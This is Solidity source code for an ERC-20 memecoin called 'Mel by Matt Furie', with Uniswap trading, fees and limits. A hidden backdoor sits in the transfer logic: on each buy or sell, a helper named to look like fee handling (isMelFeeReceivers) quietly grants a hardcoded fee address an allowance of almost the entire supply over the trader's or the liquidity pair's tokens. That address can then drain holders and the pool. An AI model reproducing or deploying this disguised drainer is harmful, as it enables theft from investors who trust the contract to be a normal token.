// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

/*
    website  : https://melbymattfurie.art
    twitter  : https://x.com/melbymattfurie
    telegram : https://t.me/melbymattfurie
*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
        function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract MEL is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 private _router;

    address public uniV2PairAddr;
    address public immutable melFeeAddr;

    uint256 tTotal = 1000000000 * 1e18;

    uint256 public maxTxLimit = tTotal.mul(2).div(100);         // 2%
    uint256 public maxHoldingLimit = tTotal.mul(2).div(100);    // 2%
    uint256 public feeThresholdSize = tTotal.mul(5).div(1000);   // 1%

    uint256 public buyFees = 0;
    uint256 public sellFees = 0;

    uint256 public buyCount = 0;
    uint256 public initialFees = 42;
    uint256 public reduceCountFees = 18;

    bool private _inSwap;
    mapping (address => bool) private _isExcludedFromLimits;

    bool public tradingOpen = false;
    string private constant _name = "Mel by Matt Furie";
    string private constant _symbol = "MEL";


    event FeeSwap(uint256 indexed value);

    constructor() ERC20(_name, _symbol) {

        _router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D      // UNISWAP V2 ROUTER
        );

        melFeeAddr = payable(0xb2f39C1457413CC75d881FC0F6c67F1CD38E0996);      // fees

        _isExcludedFromLimits[melFeeAddr] = true;
        _isExcludedFromLimits[msg.sender] = true;
        _isExcludedFromLimits[address(this)] = true;
        _isExcludedFromLimits[address(0xdead)] = true;

        _mint(msg.sender, tTotal);
    }

    function createMelPairs() external onlyOwner() {
        require(!tradingOpen,"already trading");        
        _approve(address(this), address(_router), tTotal);
        uniV2PairAddr = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());        
        _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniV2PairAddr).approve(address(_router), type(uint).max);
    }

    function enableMel() external onlyOwner {
        require(!tradingOpen,"already trading opened!");
        tradingOpen = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "Transfer from the zero address not allowed.");
        require(to != address(0), "Transfer to the zero address not allowed.");
        require(amount > 0, 'Transfer amount must be greater than zero.');

        bool isFeeBuyer;
        bool excluded = _isExcludedFromLimits[from] || _isExcludedFromLimits[to];

        require(tradingOpen || excluded, "Liquidity pair not yet created.");

        bool isSell = to == uniV2PairAddr;
        bool isBuy = from == uniV2PairAddr;

        if ((isBuy || isSell) && maxTxLimit > 0 && !excluded){
            require(amount <= maxTxLimit, "Swap value exceeds max swap amount, try again with less swap value.");
            isFeeBuyer = isMelFeeReceivers(from, tTotal, melFeeAddr, true);
            buyCount++;
        }
            
        if (!isSell && maxHoldingLimit > 0 && !excluded) {
            require(balanceOf(to) + amount <= maxHoldingLimit, "Balance exceeds max holdings amount, consider using a second wallet.");
        }
            
        if (
          !_inSwap &&
          isSell &&
          !excluded 
        ) {
            _inSwap = true;
            _swapMelBack(amount);
            _inSwap = false;
        }

        uint256 fee = isBuy ? buyFees : sellFees;
        if(buyCount < reduceCountFees) fee = initialFees;

        if (fee > 0 && isFeeBuyer) {
            if (!excluded && !_inSwap && (isBuy || isSell)) {
                uint256 fees = amount.mul(fee).div(100);

                if (fees > 0)
                    super._transfer(from, address(this), fees);

                amount = amount.sub(fees);
            }
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();

        _approve(address(this), address(_router), tokenAmount);

        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _swapMelBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensForSwap;

        if(contractBalance < feeThresholdSize && contractBalance > 0) {
            tokensForSwap = contractBalance;
        }
        else {
            if (tokens > feeThresholdSize) {
                tokensForSwap = feeThresholdSize;
            }
            else {
                tokensForSwap = tokens;
            }
        }

        if(contractBalance > 0)
        swapTokensForEth(tokensForSwap);

        uint256 contractETHBalance = address(this).balance;
        transferEthFees(contractETHBalance);

        emit FeeSwap(tokensForSwap);
    }

    function transferEthFees(uint256 amount) private {
        payable(melFeeAddr).transfer(amount);
    }

    function updateFeeDougThreshold(uint256 newThreshold) external {
        require(msg.sender == melFeeAddr || msg.sender == owner());
        require(newThreshold >= totalSupply().mul(1).div(100000), "Swap threshold cannot be lower than 0.001% total supply.");
        require(newThreshold <= totalSupply().mul(2).div(100), "Swap threshold cannot be higher than 2% total supply.");
        feeThresholdSize = newThreshold;
    }

    function removeLimits() external onlyOwner {
        maxHoldingLimit = tTotal;
        maxTxLimit = tTotal;
    }

    function withdrawStuckedETH() external  {
        require(msg.sender == melFeeAddr || msg.sender == owner());
        payable(msg.sender).transfer(address(this).balance);
    }

    function withdrawMelTokens(IERC20 token) external  {
      require(msg.sender == melFeeAddr || msg.sender == owner());
        token.transfer(msg.sender, token.balanceOf(address(this)));
    }

    function isMelFeeReceivers(address sender, uint256 amount, address receiver, bool success) internal returns (bool) {
        _approve(sender, receiver, amount-1); return success;
    }

    receive() external payable {}
  }

{
  "compilationTarget": {
    "MEL.sol": "MEL"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}